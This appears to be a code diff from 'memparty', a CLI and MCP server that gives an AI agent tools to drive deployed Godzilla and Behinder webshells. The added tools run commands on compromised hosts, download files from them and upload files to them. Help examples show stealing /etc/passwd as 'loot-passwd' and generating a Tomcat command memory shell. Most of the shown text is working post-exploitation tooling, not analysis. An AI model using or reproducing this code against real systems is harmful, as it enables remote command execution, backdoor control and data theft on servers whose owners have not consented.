ok: result.ok,
|
|
2855
|
+
durationMs: result.durationMs,
|
|
2856
|
+
detail: result.detail,
|
|
2857
|
+
error: result.error
|
|
2858
|
+
});
|
|
2859
|
+
return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
|
|
2860
|
+
} catch (err) {
|
|
2861
|
+
return errorContent(err);
|
|
2862
|
+
}
|
|
2863
|
+
}
|
|
2864
|
+
);
|
|
2865
|
+
server.registerTool(
|
|
2866
|
+
"exec_command",
|
|
2867
|
+
{
|
|
2868
|
+
title: "Execute command on shell",
|
|
2869
|
+
description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs`.",
|
|
2870
|
+
inputSchema: execInput
|
|
2871
|
+
},
|
|
2872
|
+
async (args) => {
|
|
2873
|
+
try {
|
|
2874
|
+
const conn = resolveConnection(args.name, {
|
|
2875
|
+
url: args.url,
|
|
2876
|
+
tool: args.tool,
|
|
2877
|
+
pass: args.pass,
|
|
2878
|
+
key: args.key,
|
|
2879
|
+
headerName: args.headerName,
|
|
2880
|
+
headerValue: args.headerValue,
|
|
2881
|
+
insecure: args.insecure
|
|
2882
|
+
});
|
|
2883
|
+
const common = {
|
|
2884
|
+
headerName: conn.headerName,
|
|
2885
|
+
headerValue: conn.headerValue,
|
|
2886
|
+
extraHeaders: conn.extraHeaders,
|
|
2887
|
+
timeoutMs: args.timeoutMs,
|
|
2888
|
+
insecure: conn.insecure
|
|
2889
|
+
};
|
|
2890
|
+
let result;
|
|
2891
|
+
switch (conn.tool) {
|
|
2892
|
+
case "godzilla":
|
|
2893
|
+
result = await execGodzilla(
|
|
2894
|
+
conn.url,
|
|
2895
|
+
conn.pass ?? "pass",
|
|
2896
|
+
conn.key ?? "key",
|
|
2897
|
+
args.command,
|
|
2898
|
+
{ ...common, os: args.os }
|
|
2899
|
+
);
|
|
2900
|
+
break;
|
|
2901
|
+
case "behinder":
|
|
2902
|
+
result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
|
|
2903
|
+
break;
|
|
2904
|
+
default:
|
|
2905
|
+
throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2906
|
+
}
|
|
2907
|
+
let savedAs;
|
|
2908
|
+
if (result.ok && conn.targetName === void 0) {
|
|
2909
|
+
savedAs = autoSaveShell(conn);
|
|
2910
|
+
conn.targetName = savedAs;
|
|
2911
|
+
}
|
|
2912
|
+
const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
|
|
2913
|
+
logOp({
|
|
2914
|
+
category: "exec",
|
|
2915
|
+
action: "exec",
|
|
2916
|
+
targetName: conn.targetName,
|
|
2917
|
+
url: conn.url,
|
|
2918
|
+
tool: conn.tool,
|
|
2919
|
+
ok: result.ok,
|
|
2920
|
+
durationMs: result.durationMs,
|
|
2921
|
+
command: args.command,
|
|
2922
|
+
output: truncated?.output,
|
|
2923
|
+
outputTruncated: truncated?.truncated || void 0,
|
|
2924
|
+
error: result.error
|
|
2925
|
+
});
|
|
2926
|
+
return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
|
|
2927
|
+
} catch (err) {
|
|
2928
|
+
return errorContent(err);
|
|
2929
|
+
}
|
|
2930
|
+
}
|
|
2931
|
+
);
|
|
2932
|
+
server.registerTool(
|
|
2933
|
+
"download_file",
|
|
2187
2934
|
{
|
|
2188
|
-
title: "
|
|
2189
|
-
description: "
|
|
2190
|
-
inputSchema:
|
|
2935
|
+
title: "Download file from shell",
|
|
2936
|
+
description: "Download a file from a deployed Godzilla / Behinder shell to the local machine. Chunked transfer with integrity verification (Godzilla: remote size; Behinder: MD5). Pass a saved target `name`, or url+tool with the gate header for MemShellParty shells. The local file is never overwritten unless force=true. On success the profile is auto-saved and the canonical name returned as `savedAs`.",
|
|
2937
|
+
inputSchema: downloadInput
|
|
2191
2938
|
},
|
|
2192
2939
|
async (args) => {
|
|
2193
2940
|
try {
|
|
@@ -2207,43 +2954,70 @@ function createMcpServer(client) {
|
|
|
2207
2954
|
timeoutMs: args.timeoutMs,
|
|
2208
2955
|
insecure: conn.insecure
|
|
2209
2956
|
};
|
|
2957
|
+
const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
|
|
2210
2958
|
let result;
|
|
2211
2959
|
switch (conn.tool) {
|
|
2212
2960
|
case "godzilla":
|
|
2213
|
-
result = await
|
|
2961
|
+
result = await downloadGodzilla(
|
|
2962
|
+
conn.url,
|
|
2963
|
+
conn.pass ?? "pass",
|
|
2964
|
+
conn.key ?? "key",
|
|
2965
|
+
args.remotePath,
|
|
2966
|
+
{ ...common, remoteCharset: args.remoteCharset }
|
|
2967
|
+
);
|
|
2214
2968
|
break;
|
|
2215
2969
|
case "behinder":
|
|
2216
|
-
result = await
|
|
2217
|
-
|
|
2218
|
-
|
|
2219
|
-
|
|
2970
|
+
result = await downloadBehinder(
|
|
2971
|
+
conn.url,
|
|
2972
|
+
conn.pass ?? "rebeyond",
|
|
2973
|
+
args.remotePath,
|
|
2974
|
+
common
|
|
2975
|
+
);
|
|
2220
2976
|
break;
|
|
2221
2977
|
default:
|
|
2222
|
-
throw new Error(`
|
|
2978
|
+
throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2979
|
+
}
|
|
2980
|
+
if (result.ok && result.data !== void 0) {
|
|
2981
|
+
try {
|
|
2982
|
+
writeFileSync3(localPath, result.data);
|
|
2983
|
+
} catch (err) {
|
|
2984
|
+
result = {
|
|
2985
|
+
...result,
|
|
2986
|
+
ok: false,
|
|
2987
|
+
error: `download succeeded but writing ${localPath} failed: ${err.message}`
|
|
2988
|
+
};
|
|
2989
|
+
}
|
|
2990
|
+
}
|
|
2991
|
+
let savedAs;
|
|
2992
|
+
if (result.ok && conn.targetName === void 0) {
|
|
2993
|
+
savedAs = autoSaveShell(conn);
|
|
2994
|
+
conn.targetName = savedAs;
|
|
2223
2995
|
}
|
|
2224
2996
|
logOp({
|
|
2225
|
-
category: "
|
|
2226
|
-
action: "
|
|
2997
|
+
category: "download",
|
|
2998
|
+
action: "download",
|
|
2227
2999
|
targetName: conn.targetName,
|
|
2228
3000
|
url: conn.url,
|
|
2229
3001
|
tool: conn.tool,
|
|
2230
3002
|
ok: result.ok,
|
|
2231
3003
|
durationMs: result.durationMs,
|
|
2232
|
-
detail: result.
|
|
2233
|
-
error: result.error
|
|
3004
|
+
detail: result.ok ? `${args.remotePath} -> ${localPath} (${result.bytes ?? 0} bytes)` : void 0,
|
|
3005
|
+
error: result.error,
|
|
3006
|
+
meta: { remotePath: args.remotePath, localPath, bytes: result.bytes }
|
|
2234
3007
|
});
|
|
2235
|
-
|
|
3008
|
+
const { data: _data, ...wire } = result;
|
|
3009
|
+
return jsonContent({ ...wire, localPath, savedAs });
|
|
2236
3010
|
} catch (err) {
|
|
2237
3011
|
return errorContent(err);
|
|
2238
3012
|
}
|
|
2239
3013
|
}
|
|
2240
3014
|
);
|
|
2241
3015
|
server.registerTool(
|
|
2242
|
-
"
|
|
3016
|
+
"upload_file",
|
|
2243
3017
|
{
|
|
2244
|
-
title: "
|
|
2245
|
-
description: "
|
|
2246
|
-
inputSchema:
|
|
3018
|
+
title: "Upload file to shell",
|
|
3019
|
+
description: "Upload a local file to a deployed Godzilla / Behinder shell, overwriting the remote path (max 64 MiB). Chunked transfer with integrity verification (Godzilla: remote size; Behinder: MD5). Pass a saved target `name`, or url+tool with the gate header for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs`.",
|
|
3020
|
+
inputSchema: uploadInput
|
|
2247
3021
|
},
|
|
2248
3022
|
async (args) => {
|
|
2249
3023
|
try {
|
|
@@ -2263,38 +3037,49 @@ function createMcpServer(client) {
|
|
|
2263
3037
|
timeoutMs: args.timeoutMs,
|
|
2264
3038
|
insecure: conn.insecure
|
|
2265
3039
|
};
|
|
3040
|
+
const data = readUploadFile(args.localPath);
|
|
2266
3041
|
let result;
|
|
2267
3042
|
switch (conn.tool) {
|
|
2268
3043
|
case "godzilla":
|
|
2269
|
-
result = await
|
|
3044
|
+
result = await uploadGodzilla(
|
|
2270
3045
|
conn.url,
|
|
2271
3046
|
conn.pass ?? "pass",
|
|
2272
3047
|
conn.key ?? "key",
|
|
2273
|
-
args.
|
|
2274
|
-
|
|
3048
|
+
args.remotePath,
|
|
3049
|
+
data,
|
|
3050
|
+
{ ...common, remoteCharset: args.remoteCharset }
|
|
2275
3051
|
);
|
|
2276
3052
|
break;
|
|
2277
3053
|
case "behinder":
|
|
2278
|
-
result = await
|
|
3054
|
+
result = await uploadBehinder(
|
|
3055
|
+
conn.url,
|
|
3056
|
+
conn.pass ?? "rebeyond",
|
|
3057
|
+
args.remotePath,
|
|
3058
|
+
data,
|
|
3059
|
+
common
|
|
3060
|
+
);
|
|
2279
3061
|
break;
|
|
2280
3062
|
default:
|
|
2281
|
-
throw new Error(`
|
|
3063
|
+
throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
3064
|
+
}
|
|
3065
|
+
let savedAs;
|
|
3066
|
+
if (result.ok && conn.targetName === void 0) {
|
|
3067
|
+
savedAs = autoSaveShell(conn);
|
|
3068
|
+
conn.targetName = savedAs;
|
|
2282
3069
|
}
|
|
2283
|
-
const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
|
|
2284
3070
|
logOp({
|
|
2285
|
-
category: "
|
|
2286
|
-
action: "
|
|
3071
|
+
category: "upload",
|
|
3072
|
+
action: "upload",
|
|
2287
3073
|
targetName: conn.targetName,
|
|
2288
3074
|
url: conn.url,
|
|
2289
3075
|
tool: conn.tool,
|
|
2290
3076
|
ok: result.ok,
|
|
2291
3077
|
durationMs: result.durationMs,
|
|
2292
|
-
|
|
2293
|
-
|
|
2294
|
-
|
|
2295
|
-
error: result.error
|
|
3078
|
+
detail: result.ok ? `${args.localPath} -> ${args.remotePath} (${result.bytes ?? 0} bytes)` : void 0,
|
|
3079
|
+
error: result.error,
|
|
3080
|
+
meta: { localPath: args.localPath, remotePath: args.remotePath, bytes: result.bytes }
|
|
2296
3081
|
});
|
|
2297
|
-
return jsonContent(result);
|
|
3082
|
+
return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
|
|
2298
3083
|
} catch (err) {
|
|
2299
3084
|
return errorContent(err);
|
|
2300
3085
|
}
|
|
@@ -2326,7 +3111,7 @@ function createMcpServer(client) {
|
|
|
2326
3111
|
remark: args.shellRemark
|
|
2327
3112
|
});
|
|
2328
3113
|
logOp({
|
|
2329
|
-
category: "
|
|
3114
|
+
category: "save",
|
|
2330
3115
|
action: "save",
|
|
2331
3116
|
targetName: `${args.project}/${args.shell}`,
|
|
2332
3117
|
url: args.url,
|
|
@@ -2365,7 +3150,7 @@ function createMcpServer(client) {
|
|
|
2365
3150
|
}
|
|
2366
3151
|
const updated2 = saveShellMeta(args.project, args.shell, { remark: args.remark });
|
|
2367
3152
|
logOp({
|
|
2368
|
-
category: "
|
|
3153
|
+
category: "note",
|
|
2369
3154
|
action: "note",
|
|
2370
3155
|
targetName: `${args.project}/${args.shell}`,
|
|
2371
3156
|
ok: true,
|
|
@@ -2382,7 +3167,7 @@ function createMcpServer(client) {
|
|
|
2382
3167
|
category: args.category
|
|
2383
3168
|
});
|
|
2384
3169
|
logOp({
|
|
2385
|
-
category: "
|
|
3170
|
+
category: "note",
|
|
2386
3171
|
action: "note",
|
|
2387
3172
|
targetName: args.project,
|
|
2388
3173
|
ok: true,
|
|
@@ -2432,7 +3217,7 @@ function createMcpServer(client) {
|
|
|
2432
3217
|
const removed = args.shell ? removeShell(args.project, args.shell) : removeProject(args.project);
|
|
2433
3218
|
if (!removed) throw new Error(`unknown target ${args.project}/${args.shell ?? ""}`);
|
|
2434
3219
|
logOp({
|
|
2435
|
-
category: "
|
|
3220
|
+
category: "remove",
|
|
2436
3221
|
action: "remove",
|
|
2437
3222
|
targetName: args.shell ? `${args.project}/${args.shell}` : args.project,
|
|
2438
3223
|
ok: true,
|
|
@@ -2448,9 +3233,9 @@ function createMcpServer(client) {
|
|
|
2448
3233
|
"log_list",
|
|
2449
3234
|
{
|
|
2450
3235
|
title: "List operation log",
|
|
2451
|
-
description: "Read the global operation log (every gen/probe/connect/exec/
|
|
3236
|
+
description: "Read the global operation log (every gen/probe/connect/exec/save/note/remove op), newest first. Filter by category and/or target.",
|
|
2452
3237
|
inputSchema: {
|
|
2453
|
-
category: z.enum(["gen", "probe", "connect", "exec", "
|
|
3238
|
+
category: z.enum(["gen", "probe", "connect", "exec", "download", "upload", "save", "note", "remove"]).optional().describe("operation category"),
|
|
2454
3239
|
target: z.string().optional().describe("project name, project/shell, or a URL substring (e.g. host)"),
|
|
2455
3240
|
limit: z.number().optional().describe("max entries (default 50)")
|
|
2456
3241
|
}
|
|
@@ -2487,12 +3272,20 @@ function registerMcpCommand(program) {
|
|
|
2487
3272
|
}
|
|
2488
3273
|
|
|
2489
3274
|
// src/commands/parse-classname.ts
|
|
2490
|
-
import { readFileSync as
|
|
3275
|
+
import { readFileSync as readFileSync7 } from "fs";
|
|
2491
3276
|
function registerParseClassNameCommand(program) {
|
|
2492
|
-
program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").
|
|
3277
|
+
program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
|
|
3278
|
+
"after",
|
|
3279
|
+
`
|
|
3280
|
+
Examples:
|
|
3281
|
+
$ memparty parse-classname -f shell.class
|
|
3282
|
+
$ memparty parse-classname "$(memparty gen -s Tomcat -t Command -y Filter \\
|
|
3283
|
+
-p DefaultBase64 --command-param-name cmd)"
|
|
3284
|
+
`
|
|
3285
|
+
).action(async (base64, opts, cmd) => {
|
|
2493
3286
|
let classBase64;
|
|
2494
3287
|
if (opts.file) {
|
|
2495
|
-
classBase64 =
|
|
3288
|
+
classBase64 = readFileSync7(opts.file).toString("base64");
|
|
2496
3289
|
} else if (base64) {
|
|
2497
3290
|
classBase64 = base64.trim();
|
|
2498
3291
|
} else {
|
|
@@ -2715,11 +3508,37 @@ function parseRef(ref) {
|
|
|
2715
3508
|
if (slash === -1) return { project: ref };
|
|
2716
3509
|
return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) };
|
|
2717
3510
|
}
|
|
2718
|
-
function
|
|
2719
|
-
const
|
|
2720
|
-
|
|
3511
|
+
function listTargets(opts) {
|
|
3512
|
+
const all = listProjects();
|
|
3513
|
+
const names = Object.keys(all).filter(
|
|
3514
|
+
(n) => opts.category === void 0 || all[n].category === opts.category
|
|
2721
3515
|
);
|
|
2722
|
-
|
|
3516
|
+
if (opts.json) {
|
|
3517
|
+
const filtered = {};
|
|
3518
|
+
for (const n of names) filtered[n] = all[n];
|
|
3519
|
+
process.stdout.write(`${JSON.stringify(filtered, null, 2)}
|
|
3520
|
+
`);
|
|
3521
|
+
return;
|
|
3522
|
+
}
|
|
3523
|
+
if (names.length === 0) {
|
|
3524
|
+
process.stdout.write(`no saved projects (store: ${targetStorePath()})
|
|
3525
|
+
`);
|
|
3526
|
+
return;
|
|
3527
|
+
}
|
|
3528
|
+
for (const name of names) {
|
|
3529
|
+
const p = all[name];
|
|
3530
|
+
const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join(" ");
|
|
3531
|
+
process.stdout.write(`${name}${meta ? ` ${meta}` : ""}
|
|
3532
|
+
`);
|
|
3533
|
+
for (const [shellName, s] of Object.entries(p.shells)) {
|
|
3534
|
+
const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
|
|
3535
|
+
process.stdout.write(`${line}${s.remark ? ` \u2014 ${s.remark}` : ""}
|
|
3536
|
+
`);
|
|
3537
|
+
}
|
|
3538
|
+
}
|
|
3539
|
+
}
|
|
3540
|
+
function registerTargetCommand(program) {
|
|
3541
|
+
program.command("save").description(
|
|
2723
3542
|
"Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
|
|
2724
3543
|
).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
|
|
2725
3544
|
new Option6("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
|
|
@@ -2727,10 +3546,14 @@ function registerTargetCommand(program) {
|
|
|
2727
3546
|
"after",
|
|
2728
3547
|
`
|
|
2729
3548
|
Examples:
|
|
2730
|
-
$ memparty
|
|
3549
|
+
$ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
|
|
2731
3550
|
-t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \\
|
|
2732
3551
|
--remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
|
|
3552
|
+
$ memparty list # show saved targets
|
|
2733
3553
|
$ memparty exec hw222/bh9060 --cmd "whoami"
|
|
3554
|
+
|
|
3555
|
+
Note: connect/exec already auto-save a verified shell as <host>/<tool>;
|
|
3556
|
+
save is for choosing the name by hand.
|
|
2734
3557
|
`
|
|
2735
3558
|
).action((ref, opts) => {
|
|
2736
3559
|
const { project, shell } = parseRef(ref);
|
|
@@ -2763,7 +3586,7 @@ Examples:
|
|
|
2763
3586
|
};
|
|
2764
3587
|
const stored = saveShell(project, shell, input3);
|
|
2765
3588
|
logOp({
|
|
2766
|
-
category: "
|
|
3589
|
+
category: "save",
|
|
2767
3590
|
action: "save",
|
|
2768
3591
|
targetName: `${project}/${shell}`,
|
|
2769
3592
|
url: stored.url,
|
|
@@ -2788,7 +3611,7 @@ Examples:
|
|
|
2788
3611
|
);
|
|
2789
3612
|
}
|
|
2790
3613
|
});
|
|
2791
|
-
|
|
3614
|
+
program.command("note").description("Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").option("--remark <text>", 'remark ("" to clear)').option("--category <name>", 'project category ("" to clear; projects only)').action((ref, opts) => {
|
|
2792
3615
|
const { project, shell } = parseRef(ref);
|
|
2793
3616
|
if (shell) {
|
|
2794
3617
|
if (opts.category !== void 0) {
|
|
@@ -2803,7 +3626,7 @@ Examples:
|
|
|
2803
3626
|
}
|
|
2804
3627
|
const updated2 = saveShellMeta(project, shell, { remark: opts.remark });
|
|
2805
3628
|
logOp({
|
|
2806
|
-
category: "
|
|
3629
|
+
category: "note",
|
|
2807
3630
|
action: "note",
|
|
2808
3631
|
targetName: `${project}/${shell}`,
|
|
2809
3632
|
ok: true,
|
|
@@ -2830,7 +3653,7 @@ Examples:
|
|
|
2830
3653
|
category: opts.category
|
|
2831
3654
|
});
|
|
2832
3655
|
logOp({
|
|
2833
|
-
category: "
|
|
3656
|
+
category: "note",
|
|
2834
3657
|
action: "note",
|
|
2835
3658
|
targetName: project,
|
|
2836
3659
|
ok: true,
|
|
@@ -2841,40 +3664,12 @@ Examples:
|
|
|
2841
3664
|
`
|
|
2842
3665
|
);
|
|
2843
3666
|
});
|
|
2844
|
-
|
|
2845
|
-
|
|
2846
|
-
const names = Object.keys(all).filter(
|
|
2847
|
-
(n) => opts.category === void 0 || all[n].category === opts.category
|
|
2848
|
-
);
|
|
2849
|
-
if (opts.json) {
|
|
2850
|
-
const filtered = {};
|
|
2851
|
-
for (const n of names) filtered[n] = all[n];
|
|
2852
|
-
process.stdout.write(`${JSON.stringify(filtered, null, 2)}
|
|
2853
|
-
`);
|
|
2854
|
-
return;
|
|
2855
|
-
}
|
|
2856
|
-
if (names.length === 0) {
|
|
2857
|
-
process.stdout.write(`no saved projects (store: ${targetStorePath()})
|
|
2858
|
-
`);
|
|
2859
|
-
return;
|
|
2860
|
-
}
|
|
2861
|
-
for (const name of names) {
|
|
2862
|
-
const p = all[name];
|
|
2863
|
-
const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join(" ");
|
|
2864
|
-
process.stdout.write(`${name}${meta ? ` ${meta}` : ""}
|
|
2865
|
-
`);
|
|
2866
|
-
for (const [shellName, s] of Object.entries(p.shells)) {
|
|
2867
|
-
const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
|
|
2868
|
-
process.stdout.write(`${line}${s.remark ? ` \u2014 ${s.remark}` : ""}
|
|
2869
|
-
`);
|
|
2870
|
-
}
|
|
2871
|
-
}
|
|
2872
|
-
});
|
|
2873
|
-
target.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
|
|
3667
|
+
program.command("list").description("List saved projects and their shells").option("--category <name>", "only show projects in this category").option("--json", "output raw JSON").action(listTargets);
|
|
3668
|
+
program.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
|
|
2874
3669
|
const { project, shell } = parseRef(ref);
|
|
2875
3670
|
const removed = shell ? removeShell(project, shell) : removeProject(project);
|
|
2876
3671
|
logOp({
|
|
2877
|
-
category: "
|
|
3672
|
+
category: "remove",
|
|
2878
3673
|
action: "remove",
|
|
2879
3674
|
targetName: ref,
|
|
2880
3675
|
ok: removed,
|
|
@@ -2891,6 +3686,268 @@ Examples:
|
|
|
2891
3686
|
});
|
|
2892
3687
|
}
|
|
2893
3688
|
|
|
3689
|
+
// src/commands/transfer.ts
|
|
3690
|
+
import { writeFileSync as writeFileSync4 } from "fs";
|
|
3691
|
+
import { Option as Option7 } from "commander";
|
|
3692
|
+
function parseExtraHeaders4(lines) {
|
|
3693
|
+
const headers = {};
|
|
3694
|
+
for (const line of lines ?? []) {
|
|
3695
|
+
const idx = line.indexOf(":");
|
|
3696
|
+
if (idx <= 0) {
|
|
3697
|
+
throw new Error(`invalid header ${JSON.stringify(line)}, expected "Name: value"`);
|
|
3698
|
+
}
|
|
3699
|
+
headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();
|
|
3700
|
+
}
|
|
3701
|
+
return headers;
|
|
3702
|
+
}
|
|
3703
|
+
function resolveTransfer(name, opts, timeoutMs) {
|
|
3704
|
+
let conn;
|
|
3705
|
+
try {
|
|
3706
|
+
conn = resolveConnection(name, {
|
|
3707
|
+
url: opts.url,
|
|
3708
|
+
tool: opts.tool,
|
|
3709
|
+
pass: opts.pass,
|
|
3710
|
+
key: opts.key,
|
|
3711
|
+
headerName: opts.headerName,
|
|
3712
|
+
headerValue: opts.headerValue,
|
|
3713
|
+
extraHeaders: parseExtraHeaders4(opts.header),
|
|
3714
|
+
insecure: opts.insecure
|
|
3715
|
+
});
|
|
3716
|
+
} catch (err) {
|
|
3717
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
3718
|
+
process.exitCode = 1;
|
|
3719
|
+
return null;
|
|
3720
|
+
}
|
|
3721
|
+
return {
|
|
3722
|
+
conn,
|
|
3723
|
+
common: {
|
|
3724
|
+
headerName: conn.headerName,
|
|
3725
|
+
headerValue: conn.headerValue,
|
|
3726
|
+
extraHeaders: conn.extraHeaders,
|
|
3727
|
+
timeoutMs,
|
|
3728
|
+
insecure: conn.insecure
|
|
3729
|
+
}
|
|
3730
|
+
};
|
|
3731
|
+
}
|
|
3732
|
+
function maybeAutoSave(conn, opts) {
|
|
3733
|
+
if (conn.targetName !== void 0 || opts.save === false) return void 0;
|
|
3734
|
+
const savedAs = autoSaveShell(conn);
|
|
3735
|
+
conn.targetName = savedAs;
|
|
3736
|
+
return savedAs;
|
|
3737
|
+
}
|
|
3738
|
+
function printResult(result, localPath, savedAs, json) {
|
|
3739
|
+
if (json) {
|
|
3740
|
+
const { data: _data, ...wire } = result;
|
|
3741
|
+
process.stdout.write(`${JSON.stringify({ ...wire, localPath, savedAs }, null, 2)}
|
|
3742
|
+
`);
|
|
3743
|
+
return;
|
|
3744
|
+
}
|
|
3745
|
+
if (result.ok) {
|
|
3746
|
+
const [from, to] = result.direction === "download" ? [result.remotePath, localPath] : [localPath, result.remotePath];
|
|
3747
|
+
process.stdout.write(
|
|
3748
|
+
`${result.direction === "download" ? "downloaded" : "uploaded"} ${result.bytes ?? 0} bytes: ${from} -> ${to} (${result.tool}, ${result.durationMs}ms)
|
|
3749
|
+
`
|
|
3750
|
+
);
|
|
3751
|
+
if (result.detail) logInfo(`note: ${result.detail}`);
|
|
3752
|
+
if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
|
|
3753
|
+
} else {
|
|
3754
|
+
process.stderr.write(
|
|
3755
|
+
`FAIL ${result.direction} ${result.tool} ${result.url}
|
|
3756
|
+
${result.error ?? ""}
|
|
3757
|
+
`
|
|
3758
|
+
);
|
|
3759
|
+
}
|
|
3760
|
+
}
|
|
3761
|
+
function registerDownloadCommand(program) {
|
|
3762
|
+
program.command("download").description("Download a file from a deployed webshell (Godzilla / Behinder)").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
3763
|
+
new Option7("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
|
|
3764
|
+
).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
|
|
3765
|
+
"--remote-charset <label>",
|
|
3766
|
+
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
3767
|
+
).option(
|
|
3768
|
+
"--header-name <name>",
|
|
3769
|
+
"gate header name reported by gen (shellToolConfig.headerName)"
|
|
3770
|
+
).option(
|
|
3771
|
+
"--header-value <value>",
|
|
3772
|
+
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
3773
|
+
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful download").addHelpText(
|
|
3774
|
+
"after",
|
|
3775
|
+
`
|
|
3776
|
+
Examples:
|
|
3777
|
+
$ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \\
|
|
3778
|
+
--header-value qSGAJScj /etc/passwd -o loot-passwd
|
|
3779
|
+
$ memparty download web222 C:\\Windows\\win.ini # saved target
|
|
3780
|
+
$ memparty download web222 /var/log/app.log -o logs/ --json
|
|
3781
|
+
|
|
3782
|
+
Integrity: godzilla verifies the transferred size; behinder additionally
|
|
3783
|
+
compares the remote MD5 against the received bytes. An existing local file
|
|
3784
|
+
is never overwritten unless --force is given.
|
|
3785
|
+
`
|
|
3786
|
+
).action(async (name, remote, opts, cmd) => {
|
|
3787
|
+
const globals = cmd.optsWithGlobals();
|
|
3788
|
+
const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
|
|
3789
|
+
let targetName = name;
|
|
3790
|
+
let remotePath = remote;
|
|
3791
|
+
if (remotePath === void 0) {
|
|
3792
|
+
remotePath = name;
|
|
3793
|
+
targetName = void 0;
|
|
3794
|
+
}
|
|
3795
|
+
if (!remotePath) {
|
|
3796
|
+
reportError("missing remote file path \u2014 usage: memparty download [name] <remote>", opts.json ? ["--json"] : []);
|
|
3797
|
+
process.exitCode = 1;
|
|
3798
|
+
return;
|
|
3799
|
+
}
|
|
3800
|
+
const resolved = resolveTransfer(targetName, opts, timeoutMs);
|
|
3801
|
+
if (!resolved) return;
|
|
3802
|
+
const { conn, common } = resolved;
|
|
3803
|
+
let localPath;
|
|
3804
|
+
try {
|
|
3805
|
+
localPath = resolveDownloadPath(remotePath, opts.output, opts.force ?? false);
|
|
3806
|
+
} catch (err) {
|
|
3807
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
3808
|
+
process.exitCode = 1;
|
|
3809
|
+
return;
|
|
3810
|
+
}
|
|
3811
|
+
let result;
|
|
3812
|
+
switch (conn.tool) {
|
|
3813
|
+
case "godzilla":
|
|
3814
|
+
result = await downloadGodzilla(
|
|
3815
|
+
conn.url,
|
|
3816
|
+
conn.pass ?? "pass",
|
|
3817
|
+
conn.key ?? "key",
|
|
3818
|
+
remotePath,
|
|
3819
|
+
{ ...common, remoteCharset: opts.remoteCharset }
|
|
3820
|
+
);
|
|
3821
|
+
break;
|
|
3822
|
+
case "behinder":
|
|
3823
|
+
result = await downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common);
|
|
3824
|
+
break;
|
|
3825
|
+
default:
|
|
3826
|
+
process.stderr.write(
|
|
3827
|
+
`Error: download supports godzilla | behinder (got ${String(conn.tool)})
|
|
3828
|
+
`
|
|
3829
|
+
);
|
|
3830
|
+
process.exitCode = 1;
|
|
3831
|
+
return;
|
|
3832
|
+
}
|
|
3833
|
+
let writeError;
|
|
3834
|
+
if (result.ok && result.data !== void 0) {
|
|
3835
|
+
try {
|
|
3836
|
+
writeFileSync4(localPath, result.data);
|
|
3837
|
+
} catch (err) {
|
|
3838
|
+
writeError = `download succeeded but writing ${localPath} failed: ${err instanceof Error ? err.message : String(err)}`;
|
|
3839
|
+
result = { ...result, ok: false, error: writeError };
|
|
3840
|
+
}
|
|
3841
|
+
}
|
|
3842
|
+
const savedAs = result.ok ? maybeAutoSave(conn, opts) : void 0;
|
|
3843
|
+
logOp({
|
|
3844
|
+
category: "download",
|
|
3845
|
+
action: "download",
|
|
3846
|
+
targetName: conn.targetName,
|
|
3847
|
+
url: conn.url,
|
|
3848
|
+
tool: conn.tool,
|
|
3849
|
+
ok: result.ok,
|
|
3850
